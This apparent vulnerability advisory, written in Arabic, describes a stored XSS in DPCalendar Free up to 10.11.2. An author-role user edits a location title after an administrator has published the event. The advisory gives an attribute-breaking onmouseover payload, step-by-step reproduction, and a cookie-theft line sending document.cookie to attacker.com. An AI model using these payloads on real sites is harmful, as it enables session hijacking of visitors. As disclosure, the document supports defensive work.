
Stored XSS عبر عنوان الموقع في DPCalendar Free
DPCalendar Free ≤ 10.11.2 — مستخدم بدور المؤلف يتجاوز مراجعة المحتوى لحقن XSS دائم عبر عنوان الموقع، ويتم تشغيلها عند مرور المؤشر من قبل أي زائر
يتم عرض حقل $location->title بدون استخدام htmlspecialchars() في ملف default_locations.php. تعمل دالة InputFilter::clean() في Joomla على مستوى الخادم على إزالة الرمزين و من حقول النصوص ولكنها تسمح بمرور الرمز ، مما يسمح لمستخدم بدور المؤلف بتجاوز سياق سمة HTML. عندما يمرر أي زائر مؤشر الفأرة فوق قسم معلومات الموقع في صفحة الحدث، يتم تنفيذ معالج المحقون لتنفيذ JavaScript تعسفي في جلسة المتصفح الخاصة به.
<>"onmouseoverعيب تصميمي ثانٍ يضخّم الأثر: تتحقق EventController::allowEdit() فقط من created_by == current_user — ولا تتحقق من حالة نشر الحدث. يمكن للمؤلف إنشاء حدث غير ضار، ثم يقوم مسؤول بنشره، ثم يقوم المؤلف بتسليح الموقع المرتبط بصمت عن طريق تعديل عنوانه بعد النشر، متجاوزًا مراجعة المحتوى بالكامل. يتم إدراج حمولة XSS بعد الإشراف؛ ولا يراها المسؤولون أبدًا أثناء دورة المراجعة الخاصة بهم.
| المكوّن | الإصدارات المعرضة | تم الاختبار على | الإصدار المُصلَح |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
النوع: Cross-Site Scripting مخزنة / ترميز مخرجات غير صحيح (CWE-79)
المصادقة المطلوبة: دور المؤلف — مستخدم الواجهة الأمامية (مجموعة Joomla 4، الحد الأدنى لإنشاء الأحداث)
الملف: site/tmpl/event/default_locations.php
يتم عرض $location->title مباشرة — بدون استخدام htmlspecialchars() — في سياقين للإخراج في ملف default_locations.php. سياق السمة هو النقطة القابلة للاستغلال عبر واجهة الويب، حيث تمنع InputFilter في Joomla الرمزين <> ولكنها تسمح بمرور " دون تغيير.
DEFAULT_LOCATIONS.PHP — نقاط إخراج معرضة للخطر
// Sink 1 — محتوى نصي (حقن HTML؛ يتم إزالة <> بواسطة InputFilter عبر واجهة الويب)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// Sink 2 — سمة HTML (حقن في السمة؛ يمر " عبر InputFilter)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
يتم تخزين قيمة العنوان New Location" onmouseover="alert(document.domain) بشكل سليم بواسطة الخادم. عند الإخراج، يتم عرض Sink 2 على النحو التالي:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
تصبح سمة onmouseover معالج أحداث نشطًا في DOM المعروض.
تمنح EventController::allowEdit() صلاحية التحرير لأي مؤلف لأحداثه الخاصة بغض النظر عن حالة النشر. يبني المهاجم الثقة عن طريق إرسال حدث عادي لمراجعة المسؤول، ثم — بعد النشر بواسطة المسؤول — يقوم بتعديل الموقع المرتبط بصمت لحقن حمولة XSS:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() تفتقد التحقق من الحالة
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ لا يوجد تحقق من $event->state — الأحداث المنشورة تبقى قابلة للتحرير من قبل المؤلف
}
انتقل إلى نموذج تسجيل الدخول في الواجهة الأمامية وسجّل الدخول بحساب مؤلف (مجموعة Joomla 4 — الحد الأدنى المطلوب لإنشاء الأحداث والمواقع).

انتقل إلى /index.php?option=com_dpcalendar&view=form. أنشئ حدثًا بعنوان نظيف وأرفق أي موقع موجود (مثل "Greater London"). هذا يثبت شرعية المؤلف قبل إدخال الحمولة.


يتم إرسال الحدث للمراجعة. يقوم مسؤول بتسجيل الدخول ونشره من لوحة تحكم DPCalendar الخلفية. يصبح الحدث الآن منشورًا ومرئيًا لجميع زوار الموقع.

كمؤلف، انتقل إلى صفحة الحدث المنشور. يبقى زر تحرير الحدث مرئيًا — لا تتحقق allowEdit() من حالة النشر. انقر على تحرير الحدث، وانتقل إلى علامة التبويب الموقع، وانقر على أيقونة القلم لفتح locationform.

استبدل اسم الموقع بالحمولة. تسمح InputFilter في Joomla بمرور " — يتم حفظ الحمولة بشكل سليم وتكسر سياق سمة HTML عند الإخراج:
الحمولة — حقل العنوان (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

انقر على حفظ.
عندما يزور أي مستخدم — سواء كان مصادقًا أو مجهولًا — صفحة تفاصيل الحدث ويحرّك مؤشر الفأرة فوق قسم معلومات الموقع، يتم تشغيل معالج onmouseover المحقون فورًا. لا حاجة لمصادقة أو نقرة أو أي تفاعل إضافي بخلاف زيارة الصفحة.

تظهر الحمولة الخام في قسم الموقع في صفحة الحدث — يتم عرض العنوان غير المُهرَّب كسمة HTML نشطة:

مرور المؤشر فوق قسم الموقع يشغّل نافذة التنبيه في متصفح الزائر المجهول:

اختطاف الجلسة — يمكن للمعالج المحقون استخراج ملف تعريف ارتباط الجلسة الخاص بالضحية عبر fetch('//attacker.com/?c='+document.cookie)، مما يمنح سيطرة كاملة على الحساب لأي دور يعرض الحدث.
سطح هجوم دائم ومرتبط بالحدث — تبقى الحمولة نشطة حتى يتم تصحيح عنوان الموقع يدويًا. كل مستخدم يزور صفحة الحدث — بما في ذلك الزوار المجهولين — يكون معرضًا للخطر. الأحداث عالية الزيارات (المؤتمرات العامة، صفحات الحجز) تضاعف عدد الضحايا.
تجاوز الثقة بعد النشر — نظرًا لأن المؤلف يمكنه تعديل الموقع بصمت بعد موافقة المسؤول، لا تظهر الحمولة أبدًا أثناء مراجعة المحتوى. يمر الحدث غير الضار عبر الإشراف؛ ويتم إدراج XSS بعد ذلك.